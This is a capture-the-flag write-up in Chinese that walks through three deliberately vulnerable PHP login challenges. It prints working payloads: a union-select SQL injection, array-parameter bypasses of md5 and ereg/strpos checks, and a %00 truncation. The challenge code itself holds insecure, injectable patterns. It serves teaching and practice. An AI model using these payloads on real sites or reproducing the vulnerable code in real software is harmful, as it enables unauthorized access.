<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ‘:‘ . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user=‘ $user ‘"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
//strcasecmp:0 - 如果两个字符串相等
echo "<p>Logged in! Key: ntcf{**************} </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
POST方式传入user和pass的值,将密码进行md5加密之后,与数据库中对应user的密码进行比较,相等则输出flag。
这道题跟第9题类似,使用union select 传入已知数字的md5值
?user=‘and 0=1 union select ‘e10adc3949ba59abbe56e057f20f883e‘ #&pass=123456
sql语句变为了
select pw from ctf where user=‘‘and 0=1 union select ‘e10adc3949ba59abbe56e057f20f883e‘ #
登录获取flag
<?php
error_reporting(0);
$flag = ‘flag{test}‘;
if (isset($_GET[‘username‘]) and isset($_GET[‘password‘])) {
if ($_GET[‘username‘] == $_GET[‘password‘])
print ‘Your password can not be your username.‘;
else if (md5($_GET[‘username‘]) === md5($_GET[‘password‘]))
die(‘Flag: ‘.$flag);
else
print ‘Invalid password‘;
}
?>
GET传入username和password,需要username和password相等,同时两者md5加密的结果相等。
PHP对数组进行hash计算都会得到NULL的空值,所以使用数组绕过。
?username[]=1&password[]=2
获得flag
<?php
$flag = "flag";
if (isset ($_GET[‘password‘])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET[‘password‘]) === FALSE)
echo ‘You password must be alphanumeric‘;
else if (strpos ($_GET[‘password‘], ‘--‘) !== FALSE)
die(‘Flag: ‘ . $flag);
else
echo ‘Invalid password‘;
}
?>
与15题类似,可以使用%00截断,构造payload为
?password=123%00--
也可以使用数组进行绕过,ereg和strpos两个函数处理数组都会返回NULL,NULL!==FALSE。
所以payload也可以为:
?password[]=
原文:https://www.cnblogs.com/Cl0ud/p/13275518.html